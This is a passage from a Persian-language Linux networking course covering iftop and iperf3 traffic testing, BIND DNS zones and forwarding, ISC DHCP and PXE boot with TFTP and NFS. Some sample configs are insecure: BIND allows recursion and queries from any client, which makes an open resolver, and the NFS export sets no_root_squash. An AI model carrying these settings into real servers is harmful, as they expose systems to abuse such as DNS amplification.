iftop -i eth0

بعد از اجرای دستور، نمایی مشابه زیر نمایش داده می‌شود:

             192.168.1.10        =>        192.168.1.1          1.2Mb  1.1Mb  1.0Mb
             192.168.1.10        <=        192.168.1.1          512Kb  480Kb  500Kb

اعداد نشان‌دهنده میزان ارسال و دریافت داده در بازه‌های زمانی 2، 10 و 40 ثانیه هستند.

۲.۲ مشاهده تمام اینترفیس‌های شبکه و انتخاب اینترفیس مناسب
iftop -h | grep "interface"

یا

ip link show
۲.۳ اجرای iftop بدون حل کردن نام دامنه‌ها (برای افزایش سرعت نمایش)
iftop -n -i eth0
۲.۴ نمایش فقط بسته‌های ارسال شده از سرور
iftop -i eth0 -F 192.168.1.10
۲.۵ نمایش ترافیک مربوط به یک ساب‌نت خاص (مثلاً 192.168.1.0/24)
iftop -i eth0 -f "net 192.168.1.0/24"
۲.۶ نمایش مصرف ترافیک به تفکیک پورت‌ها
iftop -P -i eth0

این گزینه پورت‌های مبدا و مقصد را برای هر ارتباط نمایش می‌دهد.

۲.۷ نمایش فقط ترافیک دریافت شده (Inbound)
iftop -i eth0 -o in
۲.۸ نمایش فقط ترافیک ارسال شده (Outbound)
iftop -i eth0 -o out

۳. فیلتر کردن نتایج iftop برای تشخیص منابع ترافیک بالا

۳.۱ نمایش ارتباطات مربوط به یک آدرس IP خاص
iftop -i eth0 -f "host 192.168.1.10"
۳.۲ نمایش فقط ارتباطات HTTP (پورت 80 و 443)
iftop -i eth0 -f "port 80 or port 443"
۳.۳ نمایش ترافیک بین دو آدرس خاص
iftop -i eth0 -f "host 192.168.1.10 and host 192.168.1.20"
۳.۴ ذخیره لاگ‌های iftop در فایل متنی
iftop -i eth0 > /var/log/iftop_log.txt

این دستور اطلاعات iftop را در مسیر /var/log/iftop_log.txt ذخیره می‌کند.


۴. بررسی نتایج و شناسایی منابع مصرف بالای پهنای باند

۴.۱ شناسایی دستگاه‌هایی که بیشترین ترافیک را ایجاد کرده‌اند

در نمای گرافیکی iftop، آدرس‌های IP با بیشترین ترافیک در صدر لیست نمایش داده می‌شوند.

۴.۲ بررسی ترافیک بر اساس پروتکل‌ها

اگر مشاهده شود که بیشترین ترافیک روی پورت‌های ۸۰ و ۴۴۳ است، این نشان‌دهنده ترافیک وب (HTTP/HTTPS) است.
اما اگر ترافیک بالا روی پورت‌های ۲۲، ۲۳ یا ۳۳۸۹ باشد، ممکن است ارتباطات SSH، Telnet یا Remote Desktop دلیل مصرف بالای پهنای باند باشند.

۴.۳ بررسی ارتباطات غیرمجاز و حملات شبکه‌ای

با استفاده از iftop -n می‌توان آدرس‌های IP مشکوک را شناسایی کرده و بررسی کرد که آیا ترافیک نامتعارفی از سرور دریافت می‌شود یا خیر.


۵. ترکیب iftop با دیگر ابزارهای مانیتورینگ شبکه

۵.۱ اجرای همزمان iftop و tcpdump برای بررسی جزئیات بیشتر
iftop -i eth0 -n & tcpdump -i eth0 -w /var/log/tcpdump.pcap

فایل tcpdump.pcap را می‌توان بعداً با Wireshark تحلیل کرد.

۵.۲ ترکیب iftop با nload برای نمایش مصرف کلی پهنای باند
iftop -i eth0 & nload eth0

ابزار nload مقدار کلی مصرف پهنای باند را در قالب نمودار گرافیکی نمایش می‌دهد.

۵.۳ ترکیب با vnstat برای ذخیره و بررسی مصرف روزانه پهنای باند
vnstat -i eth0

این دستور آمار کلی ترافیک شبکه در بازه‌های زمانی مختلف را نشان می‌دهد.


۶. توقف اجرای iftop

۶.۱ خروج از محیط iftop

برای خروج از iftop کلید q را فشار دهید.

۶.۲ بستن iftop از طریق ترمینال
killall iftop

یا

pkill iftop

جمع‌بندی

  • iftop ابزاری سبک و سریع برای مانیتورینگ لحظه‌ای ترافیک شبکه است.
  • می‌توان میزان مصرف پهنای باند را به تفکیک IP، پورت و پروتکل مشاهده کرد.
  • فیلترهای مختلف به شناسایی ترافیک غیرمجاز و مصرف غیرطبیعی پهنای باند کمک می‌کنند.
  • ترکیب iftop با ابزارهایی مانند tcpdump، vnstat و nload می‌تواند تحلیل دقیق‌تری از وضعیت شبکه ارائه دهد.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”بررسی پهنای باند و عملکرد شبکه با استفاده از iperf” subtitle=”توضیحات کامل”]iperf یکی از قدرتمندترین ابزارهای تست پهنای باند و ارزیابی عملکرد شبکه است که به کاربران اجازه می‌دهد سرعت و کیفیت ارتباطات TCP و UDP را بررسی کنند. این ابزار می‌تواند در محیط‌های محلی (LAN) و گسترده (WAN) برای تحلیل تأخیر، جیتر (Jitter)، از دست رفتن بسته‌ها (Packet Loss) و محدودیت‌های پهنای باند استفاده شود.


۱. نصب iperf

۱.۱ نصب iperf در Debian/Ubuntu
apt update && apt install -y iperf3
۱.۲ نصب iperf در RHEL/CentOS
yum install -y iperf3
۱.۳ نصب iperf در Arch Linux
pacman -S iperf3
۱.۴ بررسی نسخه نصب شده
iperf3 --version

۲. نحوه عملکرد iperf

iperf از یک مدل کلاینت – سرور برای انجام تست‌های شبکه استفاده می‌کند.

  • ابتدا یک سرور iperf اجرا می‌شود که به درخواست‌های تست پاسخ می‌دهد.
  • سپس یک کلاینت iperf به سرور متصل شده و تست‌های شبکه را اجرا می‌کند.

۳. اجرای iperf در حالت سرور

۳.۱ راه‌اندازی iperf در سرور (پورت پیش‌فرض 5201)
iperf3 -s

خروجی نمونه:

-----------------------------------------------------------
Server listening on 5201
-----------------------------------------------------------

این سرور به تمام درخواست‌های تست کلاینت گوش می‌دهد.

۳.۲ اجرای iperf روی یک پورت خاص (مثلاً 5000)
iperf3 -s -p 5000
۳.۳ اجرای iperf در حالت پس‌زمینه (daemon mode)
iperf3 -s -D

این گزینه سرور را در پس‌زمینه اجرا می‌کند تا در هر لحظه بتوان کلاینت‌ها را تست کرد.


۴. اجرای iperf در حالت کلاینت

۴.۱ اجرای تست TCP بین کلاینت و سرور
iperf3 -c 192.168.1.1

در این دستور، سرور روی آدرس 192.168.1.1 اجرا شده است و کلاینت تلاش می‌کند تا به آن متصل شود.

خروجی نمونه:

[  5]   0.00-10.00  sec  112 MBytes   94.3 Mbits/sec                  
[  5]  10.00-20.00  sec  118 MBytes   98.1 Mbits/sec                  
[  5]  20.00-30.00  sec  120 MBytes  100.5 Mbits/sec                  

این نتایج نشان‌دهنده پهنای باند TCP بین دو دستگاه است.

۴.۲ اجرای تست TCP روی یک پورت خاص (مثلاً 5000)
iperf3 -c 192.168.1.1 -p 5000
۴.۳ اجرای تست در جهت معکوس (Reverse Mode – دریافت داده از سرور به کلاینت)
iperf3 -c 192.168.1.1 -R

در این حالت، به‌جای ارسال داده، کلاینت داده را از سرور دریافت می‌کند تا پهنای باند دانلود تست شود.


۵. تست عملکرد شبکه با پروتکل UDP

۵.۱ اجرای تست UDP برای بررسی میزان جیتر و از دست رفتن بسته‌ها
iperf3 -c 192.168.1.1 -u

در این تست مقدار جیتر (Jitter) و Packet Loss نیز نمایش داده می‌شود که برای ارزیابی کیفیت ارتباط VoIP و استریم ویدیو مهم است.

۵.۲ تنظیم نرخ ارسال داده در UDP (مثلاً 10 مگابیت بر ثانیه)
iperf3 -c 192.168.1.1 -u -b 10M

گزینه -b مقدار پهنای باند را برای تست UDP مشخص می‌کند.

۵.۳ بررسی تأخیر بسته‌ها در UDP
iperf3 -c 192.168.1.1 -u --get-server-output

در این تست، جیتر و تأخیر در دریافت داده‌ها تحلیل می‌شود.


۶. تست‌های پیشرفته با iperf

۶.۱ تست با تعداد اتصالات موازی (Threads) برای شبیه‌سازی بار سنگین
iperf3 -c 192.168.1.1 -P 5

گزینه -P تعداد اتصالات همزمان را مشخص می‌کند تا بررسی شود که آیا سرور می‌تواند همزمان چندین ارتباط را مدیریت کند یا خیر.

۶.۲ اجرای تست برای مدت زمان طولانی‌تر (مثلاً 60 ثانیه)
iperf3 -c 192.168.1.1 -t 60

گزینه -t مدت زمان تست را مشخص می‌کند.

۶.۳ اجرای تست در حالت full-duplex (همزمان ارسال و دریافت داده)
iperf3 -c 192.168.1.1 --bidir

این تست برای شبیه‌سازی ارتباطات دوطرفه واقعی کاربرد دارد.

۶.۴ ذخیره نتایج تست iperf در یک فایل متنی
iperf3 -c 192.168.1.1 > /var/log/iperf_results.txt

فایل /var/log/iperf_results.txt بعداً برای تحلیل بیشتر قابل بررسی است.


۷. تحلیل نتایج تست‌های شبکه

۷.۱ بررسی مقدار پهنای باند (Bandwidth)
  • مقدار Mbits/sec نشان‌دهنده سرعت واقعی انتقال داده‌ها است.
  • اگر مقدار کمتر از انتظار باشد، مشکلات شبکه‌ای، تداخل، یا محدودیت‌های پهنای باند وجود دارد.
۷.۲ بررسی جیتر (Jitter) در تست‌های UDP
  • مقدار جیتر هرچه کمتر باشد، ارتباط پایدارتر است.
  • جیتر بالا می‌تواند باعث اختلال در تماس‌های VoIP و پخش زنده ویدیو شود.
۷.۳ بررسی از دست رفتن بسته‌ها (Packet Loss)
  • مقدار Packet Loss باید نزدیک ۰٪ باشد.
  • مقدار زیاد نشان‌دهنده مشکل در کیفیت لینک، نویز یا ازدحام شبکه است.

۸. توقف و مدیریت iperf

۸.۱ بستن سرور iperf
killall iperf3

یا

pkill iperf3
۸.۲ متوقف کردن اجرای پس‌زمینه iperf
kill $(pgrep -f "iperf3 -s -D")

جمع‌بندی

  • iperf3 یکی از بهترین ابزارهای تست عملکرد شبکه است که قابلیت بررسی سرعت، تأخیر و کیفیت ارتباطات TCP و UDP را دارد.
  • با اجرای سرور و کلاینت در دو سیستم مختلف، می‌توان کیفیت ارتباطات بین دو نقطه را سنجید.
  • می‌توان تست‌های مختلفی مانند multi-threading، reverse mode و bidirectional mode را اجرا کرد.
  • نتایج شامل پهنای باند، جیتر و Packet Loss می‌شود که در تحلیل مشکلات شبکه و بهینه‌سازی آن بسیار مفید است.

[/cdb_course_lesson][cdb_course_lesson title=”فصل 3. سرویس‌های شبکه‌ای”][/cdb_course_lesson][cdb_course_lesson title=”راه‌اندازی و پیکربندی BIND (DNS)”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”نصب و پیکربندی BIND برای ایجاد سرور DNS” subtitle=”توضیحات کامل”]BIND (Berkeley Internet Name Domain) یکی از محبوب‌ترین و پرکاربردترین نرم‌افزارهای سرور DNS در لینوکس و یونیکس است که امکان راه‌اندازی DNS سرور محلی و عمومی را فراهم می‌کند. این ابزار به‌صورت کاشه (Caching DNS)، سرور محلی (Authoritative DNS) و فورواردینگ (Forwarding DNS) قابل پیکربندی است.


۱. نصب BIND

۱.۱ نصب BIND در Debian/Ubuntu
apt update && apt install -y bind9 bind9utils bind9-doc
۱.۲ نصب BIND در RHEL/CentOS
yum install -y bind bind-utils
۱.۳ نصب BIND در Arch Linux
pacman -S bind
۱.۴ بررسی نسخه نصب‌شده
named -v

۲. تنظیمات اولیه BIND

۲.۱ فعال‌سازی سرویس BIND و اطمینان از اجرای آن
systemctl enable --now named
systemctl status named

اگر در توزیع Debian/Ubuntu هستید:

systemctl enable --now bind9
systemctl status bind9

۳. پیکربندی BIND به‌عنوان یک سرور DNS لوکال

فایل اصلی تنظیمات BIND در مسیر زیر قرار دارد:

/etc/bind/named.conf

یا در RHEL/CentOS

/etc/named.conf
۳.۱ تنظیمات اولیه در فایل named.conf

مسیر فایل: /etc/bind/named.conf.options (در Debian/Ubuntu)
مسیر فایل: /etc/named.conf (در RHEL/CentOS)

nano /etc/bind/named.conf.options

محتوای پیشنهادی برای یک سرور DNS لوکال:

options {
    directory "/var/cache/bind";
    recursion yes;
    allow-query { any; };
    forwarders {
        8.8.8.8;
        8.8.4.4;
    };
    dnssec-validation auto;
};

توضیحات:

  • recursion yes; → امکان پردازش درخواست‌های بازگشتی را فراهم می‌کند.
  • allow-query { any; }; → اجازه درخواست از همه کلاینت‌ها را می‌دهد.
  • forwarders → سرورهای گوگل DNS به‌عنوان فوروارد استفاده می‌شوند.

۴. پیکربندی BIND به‌عنوان یک سرور DNS محلی

۴.۱ افزودن منطقه (Zone) به فایل named.conf.local

مسیر فایل: /etc/bind/named.conf.local

nano /etc/bind/named.conf.local

افزودن منطقه برای دامنه محلی (مثلاً example.com):

zone "example.com" {
    type master;
    file "/etc/bind/db.example.com";
};
۴.۲ ایجاد فایل منطقه (Zone File)

مسیر فایل: /etc/bind/db.example.com

nano /etc/bind/db.example.com

محتوای نمونه فایل منطقه:

$TTL 86400
@   IN  SOA example.com. admin.example.com. (
        2024030101  ; Serial
        3600        ; Refresh
        1800        ; Retry
        604800      ; Expire
        86400 )     ; Minimum TTL

@       IN  NS  ns1.example.com.
ns1     IN  A   192.168.1.1
www     IN  A   192.168.1.2

توضیحات:

  • @ IN SOA example.com. admin.example.com. → مشخص کردن نام دامنه و ایمیل مدیریت.
  • ns1 IN A 192.168.1.1 → تنظیم سرور نام (NS).
  • www IN A 192.168.1.2 → تنظیم رکورد برای www.example.com.
۴.۳ تنظیم سطح دسترسی فایل منطقه
chown bind:bind /etc/bind/db.example.com
chmod 644 /etc/bind/db.example.com

۵. بررسی و اعمال تنظیمات

۵.۱ بررسی صحت پیکربندی
named-checkconf
named-checkzone example.com /etc/bind/db.example.com
۵.۲ راه‌اندازی مجدد BIND
systemctl restart bind9

یا

systemctl restart named

۶. تنظیمات کلاینت برای استفاده از DNS سرور BIND

۶.۱ ویرایش فایل resolv.conf در کلاینت‌ها

مسیر فایل: /etc/resolv.conf

nano /etc/resolv.conf

افزودن سرور DNS محلی:

nameserver 192.168.1.1
۶.۲ تست عملکرد DNS سرور
nslookup example.com 192.168.1.1

یا

dig example.com @192.168.1.1

۷. لاگ‌گیری و دیباگ BIND

۷.۱ مشاهده لاگ‌های BIND
journalctl -u bind9 --no-pager -n 50

یا

tail -f /var/log/syslog | grep named
۷.۲ فعال‌سازی لاگ در named.conf

افزودن لاگ به /etc/bind/named.conf.options

logging {
    channel default_log {
        file "/var/log/named.log" versions 3 size 5m;
        severity info;
        print-time yes;
        print-severity yes;
        print-category yes;
    };
    category default { default_log; };
};

سپس اجرای:

touch /var/log/named.log
chown bind:bind /var/log/named.log
systemctl restart bind9

جمع‌بندی

  • BIND یک سرور DNS قدرتمند است که امکان پیاده‌سازی سرور DNS محلی و عمومی را فراهم می‌کند.
  • نصب و راه‌اندازی BIND به سادگی از طریق مدیریت بسته لینوکس امکان‌پذیر است.
  • برای ایجاد یک DNS محلی، نیاز به تنظیم فایل‌های منطقه‌ای (Zone Files) و تنظیمات دسترسی است.
  • می‌توان BIND را به‌عنوان یک سرور کشینگ، فورواردینگ و نام‌گذاری محلی پیکربندی کرد.
  • برای دیباگ و مشاهده عملکرد DNS سرور، ابزارهایی مانند dig، nslookup و لاگ‌های named قابل استفاده هستند.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”تنظیمات DNS Forwarding و Reverse Lookup Zone” subtitle=”توضیحات کامل”]در بسیاری از شبکه‌ها، سرورهای DNS داخلی برای بهبود عملکرد، افزایش سرعت و کاهش درخواست‌های خروجی به اینترنت از DNS Forwarding استفاده می‌کنند. همچنین، برای بررسی نام دامنه مربوط به یک آدرس IP نیاز به Reverse Lookup Zone داریم که اطلاعات مربوط به برگرداندن IP به نام دامنه را نگه می‌دارد. در این بخش، پیکربندی این دو قابلیت در BIND بررسی خواهد شد.


۱. پیکربندی DNS Forwarding در BIND

DNS Forwarding به این معناست که اگر سرور BIND نتواند یک نام دامنه را در Zoneهای خود پیدا کند، درخواست را به یک سرور DNS دیگر ارسال کند.

۱.۱ ویرایش فایل تنظیمات named.conf.options

مسیر فایل: /etc/bind/named.conf.options (در Debian/Ubuntu)
مسیر فایل: /etc/named.conf (در RHEL/CentOS)

nano /etc/bind/named.conf.options

افزودن تنظیمات مربوط به فورواردینگ:

options {
    directory "/var/cache/bind";
    
    recursion yes;
    allow-recursion { any; };

    forwarders {
        8.8.8.8;
        8.8.4.4;
    };
    
    forward only;
    dnssec-validation auto;
};
۱.۲ توضیحات تنظیمات
  • recursion yes; → فعال کردن حل بازگشتی برای پردازش درخواست‌های خارجی.
  • allow-recursion { any; }; → اجازه استفاده از قابلیت حل بازگشتی برای تمامی کلاینت‌ها.
  • forwarders → لیست سرورهای DNS که درخواست‌ها به آن‌ها ارسال می‌شوند.
  • forward only; → تمام درخواست‌هایی که در Zone محلی یافت نشوند، فقط به سرورهای فوروارد ارسال شوند.
  • dnssec-validation auto; → فعال‌سازی امنیت DNS با DNSSEC.
۱.۳ بررسی و اعمال تنظیمات
named-checkconf
systemctl restart bind9

یا در CentOS/RHEL

systemctl restart named
۱.۴ تست عملکرد فورواردینگ
dig google.com @127.0.0.1

در خروجی، اگر آدرس IP گوگل نمایش داده شد، یعنی فورواردینگ به‌درستی کار می‌کند.


۲. پیکربندی Reverse Lookup Zone در BIND

Reverse Lookup Zone برای ترجمه‌ی آدرس‌های IP به نام‌های دامنه استفاده می‌شود. در این بخش، یک Zone معکوس برای شبکه 192.168.1.0/24 ایجاد خواهیم کرد.

۲.۱ افزودن Zone معکوس به named.conf.local

مسیر فایل: /etc/bind/named.conf.local

nano /etc/bind/named.conf.local

افزودن پیکربندی مربوط به Reverse Lookup Zone:

zone "1.168.192.in-addr.arpa" {
    type master;
    file "/etc/bind/db.192.168.1";
};
۲.۲ ایجاد فایل منطقه‌ای Reverse Zone

مسیر فایل: /etc/bind/db.192.168.1

nano /etc/bind/db.192.168.1

افزودن رکوردهای مربوط به ترجمه IP به نام دامنه:

$TTL 86400
@   IN  SOA ns1.example.com. admin.example.com. (
        2024030201  ; Serial
        3600        ; Refresh
        1800        ; Retry
        604800      ; Expire
        86400 )     ; Minimum TTL

@       IN  NS      ns1.example.com.
1       IN  PTR     server1.example.com.
2       IN  PTR     server2.example.com.
۲.۳ تنظیم سطح دسترسی فایل Reverse Zone
chown bind:bind /etc/bind/db.192.168.1
chmod 644 /etc/bind/db.192.168.1
۲.۴ بررسی و راه‌اندازی مجدد سرویس BIND
named-checkconf
named-checkzone 1.168.192.in-addr.arpa /etc/bind/db.192.168.1
systemctl restart bind9

یا در CentOS/RHEL

systemctl restart named

۳. تست عملکرد Reverse Lookup Zone

۳.۱ تست با dig
dig -x 192.168.1.1 @127.0.0.1

انتظار داریم خروجی مشابه زیر را دریافت کنیم:

;; ANSWER SECTION:
1.1.168.192.in-addr.arpa. 86400 IN PTR server1.example.com.
۳.۲ تست با nslookup
nslookup 192.168.1.1 127.0.0.1

۴. لاگ‌گیری و دیباگ در BIND

۴.۱ بررسی لاگ‌ها
journalctl -u bind9 --no-pager -n 50

یا

tail -f /var/log/syslog | grep named
۴.۲ افزایش سطح لاگ در named.conf

افزودن لاگ به /etc/bind/named.conf.options:

logging {
    channel default_log {
        file "/var/log/named.log" versions 3 size 5m;
        severity info;
        print-time yes;
        print-severity yes;
        print-category yes;
    };
    category default { default_log; };
};

اجرای دستورات زیر برای اعمال تنظیمات:

touch /var/log/named.log
chown bind:bind /var/log/named.log
systemctl restart bind9

جمع‌بندی

  • DNS Forwarding برای ارسال درخواست‌هایی که در سرور محلی موجود نیستند به یک DNS خارجی مانند Google DNS یا Cloudflare DNS استفاده می‌شود.
  • Reverse Lookup Zone برای تبدیل آدرس‌های IP به نام دامنه به کار می‌رود که در شبکه‌های داخلی بسیار مهم است.
  • تمامی تنظیمات به‌صورت کامندی و همراه با مسیر فایل‌های مربوطه ارائه شد تا امکان پیاده‌سازی سریع و دقیق وجود داشته باشد.
  • ابزارهای dig و nslookup برای تست عملکرد فورواردینگ و Reverse Lookup Zone معرفی شدند.
  • برای دیباگ و بررسی عملکرد DNS، روش‌های مشاهده لاگ‌ها و افزایش سطح ثبت گزارشات BIND ارائه شد.

 [/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”ایجاد و مدیریت رکوردهای DNS (A, AAAA, MX, TXT)” subtitle=”توضیحات کامل”]در DNS Server رکوردهای مختلفی برای نام‌گذاری و مسیریابی دامنه‌ها استفاده می‌شود. در این بخش، رکوردهای مهم DNS شامل A، AAAA، MX و TXT را بررسی کرده و نحوه مدیریت این رکوردها در BIND را توضیح خواهیم داد.


۱. معرفی رکوردهای DNS و کاربرد آن‌ها

۱.۱ رکورد A
  • این رکورد یک نام دامنه را به یک آدرس IPv4 مرتبط می‌کند.
۱.۲ رکورد AAAA
  • مشابه A است اما برای آدرس‌های IPv6 استفاده می‌شود.
۱.۳ رکورد MX
  • این رکورد مسیر دریافت ایمیل برای یک دامنه را مشخص می‌کند.
۱.۴ رکورد TXT
  • این رکورد برای ذخیره اطلاعات متنی مانند احراز هویت SPF، DKIM و تنظیمات خاص استفاده می‌شود.

۲. پیکربندی رکوردهای DNS در BIND

۲.۱ ویرایش فایل مربوط به Zone اصلی

مسیر فایل: /etc/bind/db.example.com

nano /etc/bind/db.example.com

افزودن رکوردهای موردنظر:

$TTL 86400
@   IN  SOA ns1.example.com. admin.example.com. (
        2024030301  ; Serial
        3600        ; Refresh
        1800        ; Retry
        604800      ; Expire
        86400 )     ; Minimum TTL

; Name Server
@       IN  NS      ns1.example.com.
ns1     IN  A       192.168.1.10

; A Record (IPv4)
www     IN  A       192.168.1.100
ftp     IN  A       192.168.1.101

; AAAA Record (IPv6)
www     IN  AAAA    2001:db8::1
ftp     IN  AAAA    2001:db8::2

; MX Record (Mail Server)
@       IN  MX 10   mail.example.com.
mail    IN  A       192.168.1.200

; TXT Record (SPF, DKIM, Custom)
@       IN  TXT     "v=spf1 mx -all"
dkim    IN  TXT     "v=DKIM1; k=rsa; p=MIGf...base64encoded..."
۲.۲ تنظیم سطح دسترسی فایل Zone
chown bind:bind /etc/bind/db.example.com
chmod 644 /etc/bind/db.example.com
۲.۳ بررسی صحت پیکربندی و راه‌اندازی مجدد BIND
named-checkzone example.com /etc/bind/db.example.com
systemctl restart bind9

۳. تست رکوردهای DNS

۳.۱ بررسی رکورد A
dig www.example.com @127.0.0.1
۳.۲ بررسی رکورد AAAA
dig AAAA www.example.com @127.0.0.1
۳.۳ بررسی رکورد MX
dig MX example.com @127.0.0.1
۳.۴ بررسی رکورد TXT
dig TXT example.com @127.0.0.1

جمع‌بندی

  • رکوردهای A، AAAA، MX و TXT برای مسیر‌یابی نام دامنه، تعریف میل‌سرور و ذخیره اطلاعات اضافی استفاده می‌شوند.
  • در فایل Zone مربوط به دامنه (/etc/bind/db.example.com) رکوردهای DNS اضافه شده و مدیریت شدند.
  • دستورات dig برای بررسی صحت تنظیمات به کار گرفته شدند.
  • تمامی تنظیمات به‌صورت کامندی و با مسیر فایل‌های مشخص ارائه شدند تا پیاده‌سازی عملی ساده‌تر شود.

[/cdb_course_lesson][cdb_course_lesson title=”DHCP و PXE Boot”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”راه‌اندازی سرور DHCP برای تخصیص آدرس IP به دستگاه‌ها” subtitle=”توضیحات کامل”]DHCP (Dynamic Host Configuration Protocol) یک پروتکل مدیریت شبکه است که به‌طور اتوماتیک آدرس‌های IP، تنظیمات DNS و Gateway را به کلاینت‌های شبکه تخصیص می‌دهد. در این بخش، نحوه نصب و پیکربندی یک سرور DHCP با ISC DHCP Server آموزش داده می‌شود.


۱. نصب ISC DHCP Server

۱.۱ نصب بسته DHCP Server در لینوکس

برای Ubuntu/Debian:

apt update && apt install isc-dhcp-server -y

برای CentOS/RHEL:

yum install dhcp -y

۲. پیکربندی سرور DHCP

۲.۱ ویرایش فایل اصلی تنظیمات DHCP

مسیر فایل: /etc/dhcp/dhcpd.conf

nano /etc/dhcp/dhcpd.conf
۲.۲ تعریف محدوده تخصیص IP (Subnet)
# تنظیمات عمومی DHCP
default-lease-time 600;
max-lease-time 7200;
authoritative;

# تعریف Subnet برای تخصیص IP
subnet 192.168.1.0 netmask 255.255.255.0 {
    range 192.168.1.100 192.168.1.200;
    option routers 192.168.1.1;
    option domain-name-servers 8.8.8.8, 8.8.4.4;
    option broadcast-address 192.168.1.255;
}
۲.۳ تخصیص IP ثابت به دستگاه خاص (Static IP)
host Server1 {
    hardware ethernet AA:BB:CC:DD:EE:FF;
    fixed-address 192.168.1.50;
}

ذخیره تغییرات و خروج از ویرایشگر (CTRL+XYEnter)

۲.۴ تنظیم اینترفیس سرور برای ارائه DHCP

ویرایش فایل: /etc/default/isc-dhcp-server (در Ubuntu/Debian)

nano /etc/default/isc-dhcp-server

اضافه کردن اینترفیس:

INTERFACESv4="eth0"

در CentOS/RHEL مسیر: /etc/sysconfig/dhcpd

nano /etc/sysconfig/dhcpd

و اضافه کردن:

DHCPDARGS=eth0

۳. بررسی و راه‌اندازی سرویس DHCP

۳.۱ بررسی صحت پیکربندی
dhcpd -t
۳.۲ راه‌اندازی و فعال‌سازی سرویس DHCP
systemctl restart isc-dhcp-server
systemctl enable isc-dhcp-server

برای CentOS/RHEL:

systemctl restart dhcpd
systemctl enable dhcpd

۴. بررسی عملکرد DHCP Server

۴.۱ مشاهده لیست کلاینت‌های متصل
cat /var/lib/dhcp/dhcpd.leases
۴.۲ بررسی لاگ‌های DHCP
journalctl -u isc-dhcp-server --no-pager | tail -20

در CentOS/RHEL:

journalctl -u dhcpd --no-pager | tail -20
۴.۳ تست دریافت IP از کلاینت

در یک کلاینت لینوکسی:

dhclient -v eth0

جمع‌بندی

  • ابتدا بسته ISC DHCP Server نصب شد.
  • در فایل /etc/dhcp/dhcpd.conf تنظیمات Subnet و آدرس‌های Static و Dynamic پیکربندی شدند.
  • اینترفیس شبکه برای ارائه DHCP مشخص شد.
  • سرویس DHCP بررسی، راه‌اندازی و فعال‌ شد.
  • تست‌های مشاهده لیست کلاینت‌ها، بررسی لاگ‌ها و دریافت IP از کلاینت انجام شد.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”پیکربندی PXE Boot برای راه‌اندازی سیستم‌های از راه دور” subtitle=”توضیحات کامل”]PXE (Preboot Execution Environment) یک روش برای بوت کردن سیستم‌ها از طریق شبکه بدون نیاز به دیسک فیزیکی یا USB است. این روش برای نصب خودکار سیستم‌عامل روی کلاینت‌ها، راه‌اندازی سرورهای بدون دیسک و مدیریت سیستم‌ها در محیط‌های سازمانی کاربرد دارد.

در این بخش، نحوه راه‌اندازی یک سرور PXE برای بوت سیستم‌ها از راه دور آموزش داده می‌شود. این تنظیمات شامل DHCP، TFTP و NFS/HTTP خواهد بود.


۱. نصب و راه‌اندازی سرویس‌های موردنیاز

PXE برای کارکرد نیاز به سه سرویس اصلی دارد:

  • DHCP Server: برای تخصیص آدرس IP و ارسال اطلاعات بوت
  • TFTP Server: برای ارائه فایل‌های بوت اولیه
  • NFS یا HTTP Server: برای ارائه فایل‌های نصبی سیستم‌عامل
۱.۱ نصب بسته‌های موردنیاز

برای Ubuntu/Debian:

apt update && apt install -y isc-dhcp-server tftpd-hpa syslinux nfs-kernel-server apache2

برای CentOS/RHEL:

yum install -y dhcp-server tftp-server syslinux nfs-utils httpd

۲. پیکربندی DHCP برای PXE

۲.۱ ویرایش فایل پیکربندی DHCP

مسیر فایل: /etc/dhcp/dhcpd.conf

nano /etc/dhcp/dhcpd.conf

افزودن تنظیمات زیر:

subnet 192.168.1.0 netmask 255.255.255.0 {
    range 192.168.1.100 192.168.1.200;
    option routers 192.168.1.1;
    option domain-name-servers 8.8.8.8;
    next-server 192.168.1.10;  # آدرس سرور PXE
    filename "pxelinux.0";  # فایل بوت PXE
}
۲.۲ راه‌اندازی و فعال‌سازی سرویس DHCP
systemctl restart isc-dhcp-server
systemctl enable isc-dhcp-server

در CentOS/RHEL:

systemctl restart dhcpd
systemctl enable dhcpd

۳. پیکربندی TFTP برای ارائه فایل‌های بوت

۳.۱ ویرایش تنظیمات TFTP

مسیر فایل: /etc/default/tftpd-hpa

nano /etc/default/tftpd-hpa

افزودن تنظیمات زیر:

TFTP_USERNAME="tftp"
TFTP_DIRECTORY="/var/lib/tftpboot"
TFTP_ADDRESS="0.0.0.0:69"
TFTP_OPTIONS="--secure"
۳.۲ ایجاد دایرکتوری و کپی فایل‌های بوت
mkdir -p /var/lib/tftpboot
cp /usr/lib/PXELINUX/pxelinux.0 /var/lib/tftpboot/
cp /usr/lib/syslinux/modules/bios/* /var/lib/tftpboot/
۳.۳ راه‌اندازی و فعال‌سازی TFTP
systemctl restart tftpd-hpa
systemctl enable tftpd-hpa

در CentOS/RHEL:

systemctl restart tftp
systemctl enable tftp

۴. پیکربندی منوی بوت PXE

۴.۱ ایجاد پوشه مربوط به منوی بوت
mkdir -p /var/lib/tftpboot/pxelinux.cfg
۴.۲ ایجاد فایل default برای منوی بوت

مسیر فایل: /var/lib/tftpboot/pxelinux.cfg/default

nano /var/lib/tftpboot/pxelinux.cfg/default

افزودن محتوای زیر:

DEFAULT menu.c32
PROMPT 0
TIMEOUT 100
ONTIMEOUT install

MENU TITLE PXE Boot Menu
LABEL install
    MENU LABEL Install Ubuntu
    KERNEL ubuntu/vmlinuz
    APPEND initrd=ubuntu/initrd.gz netboot=nfs nfsroot=192.168.1.10:/nfs/ubuntu/

۵. راه‌اندازی NFS برای ارائه فایل‌های نصبی

۵.۱ ایجاد دایرکتوری و کپی فایل‌های سیستم‌عامل
mkdir -p /nfs/ubuntu
mount -o loop ubuntu.iso /mnt
cp -r /mnt/* /nfs/ubuntu/
umount /mnt
۵.۲ ویرایش فایل تنظیمات NFS

مسیر فایل: /etc/exports

nano /etc/exports

اضافه کردن:

/nfs/ubuntu 192.168.1.0/24(ro,sync,no_root_squash)
۵.۳ راه‌اندازی و فعال‌سازی NFS
systemctl restart nfs-kernel-server
systemctl enable nfs-kernel-server
exportfs -a

